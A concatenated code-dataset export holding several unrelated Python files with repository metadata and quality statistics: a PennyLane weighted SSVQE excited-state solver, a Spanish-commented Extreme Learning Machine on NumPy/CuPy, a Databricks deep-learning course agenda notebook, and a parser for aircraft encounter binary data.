energy = state_cost(params, state_value=index)
energies[index][itr] = energy
# Return List
Energies = []
for energy in energies:
Energies.append([energy[-1], energy])
return Energies
def WEIGHTED_SSVQE_CUSTOM(hamiltonian, ansatz, params, opt_name='Adam', stepsize=0.1, iterations=100, k=[0], device_name='default.qubit'):
"""Calculates the kth excited state energy from the list of values of k for of a given Hamiltonian.
Args:
=> hamiltonian (qml.Hamiltonian): Hamiltonian for which the Kth excited state energy is to be found.
=> ansatz (function(params, wires, *args)): The circuit ansatz for which the cost function will be optimized.
ansatz must have atleast two arguments 'params' and 'wires'.
There is no need to prepare orthogonal basis stats, they will be prepared by the algorithm.
=> params (any): Parameters that can be passed to the provided ansatz.
=> opt_name(string): Name of the optimizer to use for optimization.
Currently the function supports 'Adam' 'Adagrad' 'GradientDescent'.
=> stepsize (float): Stepsize for the optimizer.
=> iterations (int): No. of Iterations for the optimization.
=> k (List(int)): List of K for which the Kth excited state energy will be calculated. K <= 2^qubits-1.
=> device_name(string): device name for creating device such that qml.device(device_name, wires=wires).
Returns:
=> [[Energy, Energies]]: The function returns a List of list of Energy of Kth excited state and list of energies at each iteration for plotting the graph.
The list will be in the sorted order of elements in the list k.
"""
# Calculate number of qubits required for the given Hamiltonian and create the device.
qubits = len(hamiltonian.wires)
device = qml.device(device_name, wires=qubits)
wires = range(qubits)
#Define the weights for the cost function.
weights = np.arange(max(k)+1,0,-1)
# State Preparation for orthogonal states.
def state_prep(state_value):
for index, value in enumerate(np.binary_repr(state_value, qubits)):
if value == '1':
qml.PauliX(index)
# Cost of each orthogonal state.
@qml.qnode(device)
def state_cost(params, state_value):
state_prep(state_value)
ansatz(params, wires)
return qml.expval(hamiltonian)
# Total cost of the system.
def total_cost(params):
cost = 0
for index in range(max(k)+1):
cost += weights[index] * state_cost(params, state_value=index)
return cost
# Optimizers options.
optimizers = {
'Adam': qml.AdamOptimizer(stepsize=stepsize),
'Adagrad': qml.AdagradOptimizer(stepsize=stepsize),
'GradientDescent': qml.GradientDescentOptimizer(stepsize=stepsize)
}
# Define the Optimizer and initial parameters.
optimizer = optimizers[opt_name]
energies = np.zeros((max(k)+1,iterations))
# Optimization loop.
for itr in range(iterations):
params = optimizer.step(total_cost, params)
for index in range(max(k)+1):
if index in k:
energy = state_cost(params, state_value=index)
energies[index][itr] = energy
# Return List
Energies = []
for energy in energies:
Energies.append([energy[-1], energy])
return Energies
| 43.525346
| 164
| 0.657702
| 1,201
| 9,445
| 5.113239
| 0.1199
| 0.03094
| 0.026869
| 0.032568
| 0.938447
| 0.938447
| 0.928188
| 0.926885
| 0.926885
| 0.91858
| 0
| 0.006524
| 0.253467
| 9,445
| 217
| 165
| 43.525346
| 0.864416
| 0.484489
| 0
| 0.777778
| 0
| 0
| 0.029905
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.111111
| false
| 0
| 0.027778
| 0
| 0.222222
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d948f904647c70be38b936eb6a44e6d22372e4de
| 15,721
|
py
|
Python
|
elm.py
|
musicbiker/ANNT
|
301f1090925c8937f0fd3b4955ec68ff772022ce
|
[
"MIT"
] | null | null | null |
elm.py
|
musicbiker/ANNT
|
301f1090925c8937f0fd3b4955ec68ff772022ce
|
[
"MIT"
] | null | null | null |
elm.py
|
musicbiker/ANNT
|
301f1090925c8937f0fd3b4955ec68ff772022ce
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
"""
Created on Tue Nov 26 12:48:31 2019
@author: jrodriguez119
Extreme Learning Machine
Función que realiza este tipo de red
"""
import numpy as np
import cupy as cp
from time import time
from keras.utils import to_categorical
#ELM básica que devuelve el modelo
def ELM(X_train,X_test,y_train,y_test,neuronas_ocultas,proporcion_datos,xp):
#obtiene de los datos automáticamente el numero de clases
clases = int(max(y_train)+1)
#Opción de no emplear el 100% de los datos disponibles para agilizar el cálculo
n_train = int(X_train.shape[0] *proporcion_datos)
n_test = int(X_test.shape[0] *proporcion_datos)
ind_train = np.random.choice(X_train.shape[0], size=n_train, replace = False)
ind_test = np.random.choice(X_test.shape[0], size=n_test, replace = False)
#Definimos los conjuntos de datos que emplearemos en el entrenamiento
global Y_test1,Y_pred_test
X_train1 = X_train[ind_train, :]
y_train1 = y_train[ind_train].astype('int')
X_test1 = X_test[ind_test, :]
y_test1 = y_test[ind_test].astype('int')
#Formato de entrada es recogido automaticamente según el número de columnas de X_train1
neuronas_entrada = X_train1.shape[1]
#---------------------GPU---------------------------------------------
if (xp == 0):
#Generamos aleatoriamente los pesos de entrada y las bias
cp.cuda.runtime.deviceSynchronize()
tiempo_inicial = time()
#Pesos de entrada y Bias
Win = cp.asarray((np.random.random([neuronas_entrada, neuronas_ocultas])*2.-1.).astype('float32'))
Bias = cp.asarray(np.random.random([1,neuronas_ocultas])*2-1)
#Conversiones a formato requerido por CUDA (CUPY)
X_train1 = cp.asarray(X_train1)
#Calculamos una H previa
temp_H = cp.dot(X_train1,Win)
#Hay que extender la matriz de Bias para que coincida con la dimension de H
BiasMatrix = cp.repeat(Bias,temp_H.shape[0],axis = 0)
#Añadimos los Bias a la H previa
temp_H = temp_H + BiasMatrix
#Función ReLU.
H = cp.maximum(temp_H,0,temp_H)
#Calculamos los pesos de salida haciendo uso de la pseudoinversa de Moore Penrose
#Comprobamos que el determinante sea distinto de cero
if (cp.linalg.det(cp.dot(cp.transpose(H),H)))==0 :
Y_train1 = to_categorical(y_train1,clases)
H = cp.asnumpy(H)
Y_train1 = cp.asnumpy(Y_train1)
Wout = np.dot(np.linalg.pinv(H), Y_train1)
del Y_train1
tiempo_final = time()
del H
tiempo = tiempo_final - tiempo_inicial
#Conjunto de test
X_test1 = cp.asnumpy(X_test1)
Win = cp.asnumpy(Win)
temp_H_test = np.dot(X_test1,Win)
del X_test1
#Extendemos la matriz de los bias para que cuadre
BiasMatrix = np.repeat(Bias,temp_H_test.shape[0],axis = 0)
BiasMatrix = cp.asnumpy(BiasMatrix)
temp_H_test = temp_H_test + BiasMatrix
del BiasMatrix
H_test = np.maximum(temp_H_test,0,temp_H_test)
del temp_H_test
#Prediccion de test
Y_pred_test = np.dot(H_test,Wout)
Y_pred_test = np.argmax(Y_pred_test,axis=1)
del H_test
aciertos = np.sum(Y_pred_test==y_test1)
precision_test= aciertos/y_test1.size
else:
X_test1 = cp.asarray(X_test1)
Y_train1 = cp.asarray(to_categorical(y_train1,clases))
Wout = cp.dot(cp.dot(cp.linalg.inv(cp.dot(cp.transpose(H),H)),
cp.transpose(H)),Y_train1)
cp.cuda.runtime.deviceSynchronize()
tiempo_final = time()
tiempo = tiempo_final - tiempo_inicial
#Conjunto de test
temp_H_test = cp.dot(X_test1,Win)
#Extendemos la matriz de los bias para que cuadre
BiasMatrix = cp.repeat(Bias,temp_H_test.shape[0],axis = 0)
#Añadimos los bias
temp_H_test = temp_H_test + BiasMatrix
#Función ReLu
H_test = cp.maximum(temp_H_test,0,temp_H_test)
#Prediccion de test
Y_pred_test = cp.dot(H_test,Wout)
Y_pred_test = cp.asnumpy(Y_pred_test)
Y_pred_test = np.argmax(Y_pred_test,axis=1)
aciertos = np.sum(Y_pred_test==y_test1)
precision_test= aciertos/y_test1.size
#---------------------CPU---------------------------------------------
if (xp == 1):
Y_train1 = (to_categorical(y_train1,clases))
#Generamos aleatoriamente los pesos de entrada y las bias
tiempo_inicial = time()
#Pesos de entrada y Bias
Win = ((np.random.random([neuronas_entrada, neuronas_ocultas])*2.-1.).astype('float32'))
Bias = (np.random.random([1,neuronas_ocultas])*2-1).astype('float32')
temp_H = np.dot(X_train1,Win).astype('float32')
del X_train1
#Hay que extender la matriz de Bias para que coincida con la dimension de H
BiasMatrix = np.repeat(Bias,temp_H.shape[0],axis = 0)
#Añadimos los Bias
temp_H = temp_H + BiasMatrix
#Función ReLU.
H = np.maximum(temp_H,0,temp_H)
del temp_H
#Calculamos los pesos de salida haciendo uso de la pseudoinversa de Moore Penrose
#Comprobamos que el determinante sea distinto de cero
if (np.linalg.det(np.dot(np.transpose(H),H)))==0 :
Wout = np.dot(np.linalg.pinv(H), Y_train1)
else:
Wout = np.dot(np.dot(np.linalg.inv(np.dot(np.transpose(H),H)),
np.transpose(H)),Y_train1)
del Y_train1
tiempo_final = time()
del H
tiempo = tiempo_final - tiempo_inicial
#Conjunto de test
temp_H_test = np.dot(X_test1,Win)
del X_test1
#Extendemos la matriz de los bias para que cuadre
BiasMatrix = np.repeat(Bias,temp_H_test.shape[0],axis = 0)
temp_H_test = temp_H_test + BiasMatrix
del BiasMatrix
H_test = np.maximum(temp_H_test,0,temp_H_test)
del temp_H_test
#Prediccion de test
Y_pred_test = np.dot(H_test,Wout)
Y_pred_test = np.argmax(Y_pred_test,axis=1)
del H_test
aciertos = np.sum(Y_pred_test==y_test1)
precision_test= aciertos/y_test1.size
return neuronas_ocultas, precision_test, tiempo , Win , Wout, Bias,y_test1,Y_pred_test
#ELM con barrido de varias neuronas
def ELM1(X_train,X_test,y_train,y_test,ini,fin,inter,
xp,repeticiones):
#Fijamos la proporción de datos al 100%
proporcion_datos = 1
clases = int(max(y_train)+1)
n_train = int(X_train.shape[0] *proporcion_datos)
n_test = int(X_test.shape[0] *proporcion_datos)
neuronas = []
acierto_medio = []
tiempo_medio = []
#Robustez
if ini != fin:
numero_neuronas = np.arange(ini,fin+1,inter).astype('int')
if ini == fin and inter==0:
numero_neuronas = []
numero_neuronas.append(ini)
for i in numero_neuronas:
acierto = 0
tiempo = 0
neuronas.append(i)
for j in range(repeticiones):
ind_train = np.random.choice(X_train.shape[0], size=n_train, replace = False)
ind_test = np.random.choice(X_test.shape[0], size=n_test, replace = False)
X_train1 = X_train[ind_train, :]
y_train1 = y_train[ind_train].astype('int')
X_test1 = X_test[ind_test, :]
y_test1 = y_test[ind_test].astype('int')
neuronas_entrada = X_train1.shape[1] # 784
#---------------------GPU---------------------------------------------
if (xp == 0):
X_train1 = cp.asarray(X_train1)
X_test1 = cp.asarray(X_test1)
Y_train1 = cp.asarray(to_categorical(y_train1,clases))
#Generamos aleatoriamente los pesos de entrada y las bias
cp.cuda.runtime.deviceSynchronize()
tiempo_inicial = time()
#Pesos de entrada
Win = cp.asarray((np.random.random([neuronas_entrada, i])*2.-1.).astype('float32'))
Bias = cp.asarray(np.random.random([1,i])*2.-1.)
temp_H = cp.dot(X_train1,Win)
del X_train1
#Hay que extender la matriz de Bias para que coincida con la dimension de H
BiasMatrix = cp.repeat(Bias,temp_H.shape[0],axis = 0)
#Añadimos los Bias
temp_H = temp_H + BiasMatrix
#Función ReLU.
H = cp.maximum(temp_H,0,temp_H)
del temp_H
#Calculamos los pesos de salida haciendo uso de la pseudoinversa de Moore Penrose
if (cp.linalg.det(cp.dot(cp.transpose(H),H)))==0 :
Y_train1 = to_categorical(y_train1,clases)
H = cp.asnumpy(H)
Y_train1 = cp.asnumpy(Y_train1)
Wout = np.dot(np.linalg.pinv(H), Y_train1)
del Y_train1
tiempo_final = time()
del H
tiempo = tiempo + (tiempo_final - tiempo_inicial)
#Conjunto de test
X_test1 = cp.asnumpy(X_test1)
Win = cp.asnumpy(Win)
temp_H_test = np.dot(X_test1,Win)
del Win
del X_test1
#Extendemos la matriz de los bias para que cuadre
BiasMatrix = np.repeat(Bias,temp_H_test.shape[0],axis = 0)
del Bias
BiasMatrix = cp.asnumpy(BiasMatrix)
temp_H_test = temp_H_test + BiasMatrix
del BiasMatrix
H_test = np.maximum(temp_H_test,0,temp_H_test)
del temp_H_test
#Prediccion de test
Y_pred_test = np.dot(H_test,Wout)
Y_pred_test = np.argmax(Y_pred_test,axis=1)
del H_test
del Wout
aciertos = np.sum(Y_pred_test==y_test1)
del Y_pred_test
acierto= acierto + aciertos/y_test1.size
else:
X_test1 = cp.asarray(X_test1)
Y_train1 = cp.asarray(to_categorical(y_train1,clases))
Wout = cp.dot(cp.dot(cp.linalg.inv(cp.dot(cp.transpose(H),H)),
cp.transpose(H)),Y_train1)
del Y_train1
cp.cuda.runtime.deviceSynchronize()
tiempo_final = time()
del H
tiempo = tiempo_final - tiempo_inicial
#Conjunto de test
temp_H_test = cp.dot(X_test1,Win)
del Win
del X_test1
#Extendemos la matriz de los bias para que cuadre
BiasMatrix = cp.repeat(Bias,temp_H_test.shape[0],axis = 0)
del Bias
temp_H_test = temp_H_test + BiasMatrix
del BiasMatrix
H_test = cp.maximum(temp_H_test,0,temp_H_test)
del temp_H_test
#Prediccion de test
Y_pred_test = cp.dot(H_test,Wout)
Y_pred_test = cp.asnumpy(Y_pred_test)
Y_pred_test = np.argmax(Y_pred_test,axis=1)
del H_test
del Wout
aciertos = np.sum(Y_pred_test==y_test1)
del Y_pred_test
acierto= acierto + aciertos/y_test1.size
#---------------------CPU---------------------------------------------
if (xp == 1):
Y_train1 = (to_categorical(y_train1,clases))
#Generamos aleatoriamente los pesos de entrada y las bias
tiempo_inicial = time()
#Pesos de entrada
Win = ((np.random.random([neuronas_entrada, i])*2.-1.).astype('float32'))
Bias = (np.random.random([1,i]))
temp_H = np.dot(X_train1,Win)
#Hay que extender la matriz de Bias para que coincida con la dimension de H
BiasMatrix = np.repeat(Bias,temp_H.shape[0],axis = 0)
#Añadimos los Bias
temp_H = temp_H + BiasMatrix
#Función ReLU.
H = np.maximum(temp_H,0,temp_H)
#Calculamos los pesos de salida haciendo uso de la pseudoinversa de Moore Penrose
if (np.linalg.det(np.dot(np.transpose(H),H)))==0 :
Wout = np.dot(np.linalg.pinv(H), Y_train1)
else:
Wout = np.dot(np.dot(np.linalg.inv(np.dot(np.transpose(H),H)),
np.transpose(H)),Y_train1)
del H
tiempo_final = time()
tiempo = tiempo + (tiempo_final - tiempo_inicial)
#Conjunto de test
temp_H_test = np.dot(X_test1,Win)
#Extendemos la matriz de los bias para que cuadre
BiasMatrix = np.repeat(Bias,temp_H_test.shape[0],axis = 0)
temp_H_test = temp_H_test + BiasMatrix
H_test = np.maximum(temp_H_test,0,temp_H_test)
#Prediccion de test
Y_pred_test = np.dot(H_test,Wout)
Y_pred_test = np.argmax(Y_pred_test,axis=1)
aciertos = np.sum(Y_pred_test==y_test1)
acierto= acierto + aciertos/y_test1.size
acierto_medio.append(acierto/repeticiones)
tiempo_medio.append(tiempo/repeticiones)
return neuronas, acierto_medio, tiempo_medio
| 38.531863
| 123
| 0.493289
| 1,837
| 15,721
| 4.015242
| 0.101252
| 0.04474
| 0.048807
| 0.020336
| 0.858595
| 0.843818
| 0.818736
| 0.810602
| 0.794062
| 0.773183
| 0
| 0.021883
| 0.412824
| 15,721
| 408
| 124
| 38.531863
| 0.777164
| 0.16672
| 0
| 0.838565
| 0
| 0
| 0.004516
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.008969
| false
| 0
| 0.017937
| 0
| 0.035874
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
79b849b3eaa10732355e7b4984461722f406b2d4
| 10,540
|
py
|
Python
|
Deep-Learning-with-Databricks/AGENDA.py
|
databricks-academy/deep-learning-with-databricks
|
b579a75e12cbd3df59894c1bfa917b5a14df9a8c
|
[
"CC0-1.0"
] | 2
|
2021-11-17T17:40:25.000Z
|
2022-02-03T22:53:17.000Z
|
Deep-Learning-with-Databricks/AGENDA.py
|
databricks-academy/scalable-deep-learning-with-tensorflow-and-apache-spark
|
b579a75e12cbd3df59894c1bfa917b5a14df9a8c
|
[
"CC0-1.0"
] | null | null | null |
Deep-Learning-with-Databricks/AGENDA.py
|
databricks-academy/scalable-deep-learning-with-tensorflow-and-apache-spark
|
b579a75e12cbd3df59894c1bfa917b5a14df9a8c
|
[
"CC0-1.0"
] | 2
|
2022-01-28T16:02:53.000Z
|
2022-02-22T13:47:41.000Z
|
# Databricks notebook source
# MAGIC %md-sandbox
# MAGIC
# MAGIC <div style="text-align: center; line-height: 0; padding-top: 9px;">
# MAGIC <img src="https://databricks.com/wp-content/uploads/2018/03/db-academy-rgb-1200px.png" alt="Databricks Learning" style="width: 600px">
# MAGIC </div>
# COMMAND ----------
# MAGIC %md
# MAGIC # Agenda
# MAGIC ## Deep Learning with Databricks
# COMMAND ----------
# MAGIC %md
# MAGIC ## Day 1 AM
# MAGIC | Time | Lesson | Description |
# MAGIC |:----:|-------|-------------|
# MAGIC | 30m | **Introductions & Setup** | *Registration, Courseware & Q&As* |
# MAGIC | 25m | **[Linear Regression]($./DL 01 - Linear Regression)** | Build a linear regression model using Sklearn and reimplement it in Keras </br> Modify # of epochs </br> Visualize loss |
# MAGIC | 10m | **Break** ||
# MAGIC | 30m | **[Keras]($./DL 02 - Keras)** | Modify these parameters for increased model performance: activation functions, loss functions, optimizer, batch size </br> Save and load models |
# MAGIC | 25m | **[Keras Lab]($./Labs/DL 02L - Keras Lab)** | Build and evaluate your first Keras model! |
# MAGIC | 10m | **Break** ||
# MAGIC | 50m | **[Advanced Keras]($./DL 03 - Advanced Keras)** | Perform data standardization for better model convergence </br> Add validation data </br> Generate model checkpointing/callbacks </br> Use TensorBoard </br> Apply dropout regularization |
# MAGIC | 10m | **Break** ||
# MAGIC | 35m | **[Advanced Keras Lab]($./Labs/DL 03L - Advanced Keras Lab)** | Practice using checkpoints and callbacks
# MAGIC | 20m |**Introduction to [MLflow]($./DL 04 - MLflow)**| MLflow introduction |
# COMMAND ----------
# MAGIC %md
# MAGIC ## Day 1 PM
# MAGIC | Time | Lesson | Description |
# MAGIC |:----:|-------|-------------|
# MAGIC | 20m | **Review** | *Review of Day 1 AM* |
# MAGIC | 35m |**[MLflow]($./DL 04 - MLflow)** | Log experiments with MLflow</br> View MLflow UI</br> Generate a UDF with MLflow and apply to a Spark DataFrame |
# MAGIC | 10m | **Break** ||
# MAGIC | 25m | **[MLflow Lab]($./Labs/DL 04L - MLflow Lab)**| Log experiments with MLflow</br> View MLflow UI</br> Generate a UDF with MLflow and apply to a Spark DataFrame |
# MAGIC | 30m | **[HyperOpt]($./DL 05 - Hyperopt)** | Use HyperOpt with SparkTrials to perform distributed hyperparameter search |
# MAGIC | 10m | **Break** ||
# MAGIC | 30m | **[HyperOpt Lab]($./Labs/DL 05L - Hyperopt Lab)** | Use HyperOpt with SparkTrials to perform distributed hyperparameter search |
# MAGIC | 25m | **Introduction to [Horovod]($./DL 06 - Horovod)** | Horovod concept |
# MAGIC | 10m | **Break** ||
# MAGIC | 45m | **[Horovod]($./DL 06 - Horovod)** | Use Horovod to train a distributed neural network </br> Distributed Deep Learning best practices |
# COMMAND ----------
# MAGIC %md
# MAGIC ## Day 2 AM
# MAGIC | Time | Lesson | Description |
# MAGIC |:----:|-------|-------------|
# MAGIC | 20m | **Review** | *Review of Day 1* |
# MAGIC | 30m | **[Horovod Petastorm]($./DL 06a - Horovod Petastorm)** | Use Horovod to train a distributed neural network using Parquet files + Petastorm|
# MAGIC | 10m | **Break** ||
# MAGIC | 35m | **[Horovod Lab]($./Labs/DL 06L - Horovod Lab)** | Prepare your data for use with Horovod</br> Distribute the training of our model using HorovodRunner</br> Use Parquet files as input data for our distributed deep learning model with Petastorm + Horovod |
# MAGIC | 25m | **[Model Interpretability]($./DL 07 - Model Interpretability)** | Use LIME and SHAP to understand which features are most important in the model's prediction for that data point |
# MAGIC | 10m | **Break** ||
# MAGIC | 30m | **[Distributed Inference with CNNs]($./DL 08 - Distributed Inference with CNNs)** | Analyze popular CNN architectures </br> Apply pre-trained CNNs to images using Pandas Scalar Iterator UDF |
# MAGIC | 30m | **[Shap for CNN Lab]($./Labs/DL 08L - SHAP for CNNs Lab)** | Use SHAP to generate explanation behind a model's predictions |
# MAGIC | 10m | **Break** ||
# MAGIC | 35m | **[Transfer Learning for CNNs]($./DL 09 - Transfer Learning for CNNs)** | Perform transfer learning to create a cat vs dog classifier |
# COMMAND ----------
# MAGIC %md
# MAGIC ## Day 2 PM
# MAGIC | Time | Lesson | Description |
# MAGIC |:----:|-------|-------------|
# MAGIC | 20m | **Review** | *Review of Day 2 AM* |
# MAGIC | 30m | **[Model Serving]($./DL 10 - Model Serving)** | Real time deployment of a convolutional neural network using REST and Databricks MLflow Model Serving |
# MAGIC | 10m | **Break** | ||
# MAGIC | 50m | **[Embeddings]($./DL 11 - Embeddings)** | Understand what embeddings are and how to use them |
# MAGIC | 10m | **Break** | ||
# MAGIC | 50m | **[Transfer Learning for NER]($./DL 12 - Transfer Learning for NER)** | Fine-tune a pretrained model to solve named entity recognition|
# MAGIC | 10m | **Break** | ||
# MAGIC | 30m | **[CNN Lab]($./Labs/DL 09L - Transfer Learning for CNNs Lab) or [NLP Lab]($./Labs/DL 12L - Transfer Learning for Document Classification)** | Apply transfer learning to classify pneumonial X-ray images or tweet sentiments|
# COMMAND ----------
# MAGIC %md-sandbox
# MAGIC © 2022 Databricks, Inc. All rights reserved.<br/>
# MAGIC Apache, Apache Spark, Spark and the Spark logo are trademarks of the <a href="https://www.apache.org/">Apache Software Foundation</a>.<br/>
# MAGIC <br/>
# MAGIC <a href="https://databricks.com/privacy-policy">Privacy Policy</a> | <a href="https://databricks.com/terms-of-use">Terms of Use</a> | <a href="https://help.databricks.com/">Support</a>
| 121.149425
| 1,131
| 0.58444
| 1,362
| 10,540
| 4.522761
| 0.183554
| 0.8
| 1.184416
| 1.558442
| 0.562175
| 0.521429
| 0.506494
| 0.506494
| 0.492857
| 0.492857
| 0
| 0.017648
| 0.204364
| 10,540
| 86
| 1,132
| 122.55814
| 0.716909
| 0.983586
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
79dfef5540e4ac9cd1f6ab2c2952ca6b4905637c
| 7,349
|
py
|
Python
|
contrail/scr/helpers/parse_encounter_helpers.py
|
sisl/Contrail
|
50bdb9800c882480fbb3070ae1926d1c55b5c186
|
[
"MIT"
] | 2
|
2022-01-21T17:53:25.000Z
|
2022-03-16T21:30:10.000Z
|
contrail/scr/helpers/parse_encounter_helpers.py
|
sisl/Contrail
|
50bdb9800c882480fbb3070ae1926d1c55b5c186
|
[
"MIT"
] | null | null | null |
contrail/scr/helpers/parse_encounter_helpers.py
|
sisl/Contrail
|
50bdb9800c882480fbb3070ae1926d1c55b5c186
|
[
"MIT"
] | 1
|
2022-03-16T21:29:34.000Z
|
2022-03-16T21:29:34.000Z
|
import struct
import pymap3d as pm
import base64
from helpers.constants import *
'''
Used when a user selects an enc from the dropdown and memory_data['type']
is either 'loaded' or 'generated'. The only difference between this function
and parse_enc_data_from_encounters_data is how the data is read in. In this func,
it is read in directly from the file.
'''
def parse_enc_data_from_filename(enc_ids_selected, enc_indices, encounters_filename, enc_ac_ids, ac_ids_selected, ref_data):
enc_data_list = []
initial_dim, update_dim = 3, 4
num_update_byte_size, waypoint_byte_size = 2, 8
for enc_id in enc_ids_selected:
# print('** ENC_ID ', enc_id, '**')
with open(encounters_filename, 'rb') as file:
enc_start_ind = enc_indices[enc_id]
file.seek(enc_start_ind)
if enc_id+1 >= len(enc_indices):
enc_data = file.read()
else:
enc_end_ind = enc_indices[enc_id+1]
num_bytes = enc_end_ind - enc_start_ind
enc_data = file.read(num_bytes)
cursor = 0
for ac in enc_ac_ids:
[x,y,z] = struct.unpack('ddd', enc_data[cursor:cursor+(waypoint_byte_size*initial_dim)])
if ac in ac_ids_selected:
data_point = {'encounter_id': enc_id, 'ac_id':ac, 'time':0,\
'xEast':x*FT_TO_NM, 'yNorth':y*FT_TO_NM,\
'lat':None, 'long': None, 'zUp':z,\
'horizontal_speed':0, 'vertical_speed':0}
data_point['lat'], data_point['long'], _ = pm.enu2geodetic(data_point['xEast']*NM_TO_M, data_point['yNorth']*NM_TO_M, data_point['zUp']*FT_TO_M,
ref_data['ref_lat'], ref_data['ref_long'], ref_data['ref_alt']*FT_TO_M,
ell=pm.Ellipsoid('wgs84'), deg=True)
enc_data_list += [data_point]
cursor += (waypoint_byte_size*initial_dim)
for ac in enc_ac_ids:
num_updates = int.from_bytes(enc_data[cursor:cursor+num_update_byte_size], byteorder='little')
# print('num_updates: ', num_updates)
cursor += num_update_byte_size
for i in range(num_updates):
[time,x,y,z] = struct.unpack('dddd', enc_data[cursor:cursor+(waypoint_byte_size*update_dim)])
if ac in ac_ids_selected:
data_point = {'encounter_id': enc_id, 'ac_id':ac, 'time':time,\
'xEast':x*FT_TO_NM, 'yNorth':y*FT_TO_NM,\
'lat':None, 'long': None, 'zUp':z,\
'horizontal_speed':0, 'vertical_speed':0}
data_point['lat'], data_point['long'], _ = pm.enu2geodetic(data_point['xEast']*NM_TO_M, data_point['yNorth']*NM_TO_M, data_point['zUp']*FT_TO_M,
ref_data['ref_lat'], ref_data['ref_long'], ref_data['ref_alt']*FT_TO_M,
ell=pm.Ellipsoid('wgs84'), deg=True)
enc_data_list += [data_point]
cursor += (waypoint_byte_size*update_dim)
# print('this took ', time.time() - start)
return enc_data_list
'''
Used when a user selects an enc from the dropdown and memory_data['type']
is either 'created' or 'json'. The only difference between this function
and parse_enc_data_from_filename is how the data is read in. In this func,
it is read in directly from the the stored memory_data['encounters_data']
which is a base64 encoded string.
'''
def parse_enc_data_from_encounters_data(enc_ids_selected, enc_indices, encounters_data, enc_ac_ids, ac_ids_selected, ref_data):
if encounters_data[0:2] == 'b\'':
encounters_data = encounters_data[2:-1]
difference = len(encounters_data) % 4
padding = '=' * difference
encounters_data += padding
decoded = base64.b64decode(encounters_data)
enc_data_list = []
initial_dim, update_dim = 3, 4
num_update_byte_size, waypoint_byte_size = 2, 8
for enc_id in enc_ids_selected:
enc_start_id = enc_indices[enc_id]
if enc_id+1 >= len(enc_indices):
enc_data = decoded[enc_start_id:]
else:
enc_end_id = enc_indices[enc_id+1]
enc_data = decoded[enc_start_id:enc_end_id]
cursor = 0
for ac in enc_ac_ids:
[x,y,z] = struct.unpack('ddd', enc_data[cursor:cursor+(waypoint_byte_size*initial_dim)])
if ac in ac_ids_selected:
data_point = {'encounter_id': enc_id, 'ac_id':ac, 'time':0,\
'xEast':x*FT_TO_NM, 'yNorth':y*FT_TO_NM,\
'lat':None, 'long': None, 'zUp':z,\
'horizontal_speed':0, 'vertical_speed':0}
data_point['lat'], data_point['long'], _ = pm.enu2geodetic(data_point['xEast']*NM_TO_M, data_point['yNorth']*NM_TO_M, data_point['zUp']*FT_TO_M,
ref_data['ref_lat'], ref_data['ref_long'], ref_data['ref_alt']*FT_TO_M,
ell=pm.Ellipsoid('wgs84'), deg=True)
enc_data_list += [data_point]
cursor += (waypoint_byte_size*initial_dim)
for ac in enc_ac_ids:
num_updates = int.from_bytes(enc_data[cursor:cursor+num_update_byte_size], byteorder='little')
cursor += num_update_byte_size
for i in range(num_updates):
[time,x,y,z] = struct.unpack('dddd', enc_data[cursor:cursor+(waypoint_byte_size*update_dim)])
if ac in ac_ids_selected:
data_point = {'encounter_id': enc_id, 'ac_id':ac, 'time':time,\
'xEast':x*FT_TO_NM, 'yNorth':y*FT_TO_NM,\
'lat':None, 'long': None, 'zUp':z,\
'horizontal_speed':0, 'vertical_speed':0}
data_point['lat'], data_point['long'], _ = pm.enu2geodetic(data_point['xEast']*NM_TO_M, data_point['yNorth']*NM_TO_M, data_point['zUp']*FT_TO_M,
ref_data['ref_lat'], ref_data['ref_long'], ref_data['ref_alt']*FT_TO_M,
ell=pm.Ellipsoid('wgs84'), deg=True)
enc_data_list += [data_point]
cursor += (waypoint_byte_size*update_dim)
return enc_data_list
def parse_enc_data(memory_data, enc_ids_selected, ac_ids_selected, ref_data, file_path):
if memory_data['type'] == 'created' or memory_data['type'] == 'json':
return parse_enc_data_from_encounters_data(enc_ids_selected, memory_data['encounter_indices'], memory_data['encounters_data'], memory_data['ac_ids'], ac_ids_selected, ref_data)
else:
return parse_enc_data_from_filename(enc_ids_selected, memory_data['encounter_indices'], file_path+memory_data['filename'], memory_data['ac_ids'], ac_ids_selected, ref_data)
| 51.034722
| 184
| 0.569057
| 968
| 7,349
| 3.953512
| 0.129132
| 0.065848
| 0.031356
| 0.045989
| 0.811863
| 0.78103
| 0.756206
| 0.742618
| 0.709172
| 0.653253
| 0
| 0.00999
| 0.318955
| 7,349
| 144
| 185
| 51.034722
| 0.754645
| 0.015104
| 0
| 0.72449
| 1
| 0
| 0.090978
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.030612
| false
| 0
| 0.040816
| 0
| 0.112245
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
5c2f89f6e8690c98d2b95afa04f1f3f7d516210a
| 4,652
|
py
|
Python
|
data/datasets.py
|
frank-xwang/debiased-pseudo-labeling
|
a454dbc3a67eca323c57cba889a2828fca7dd72f
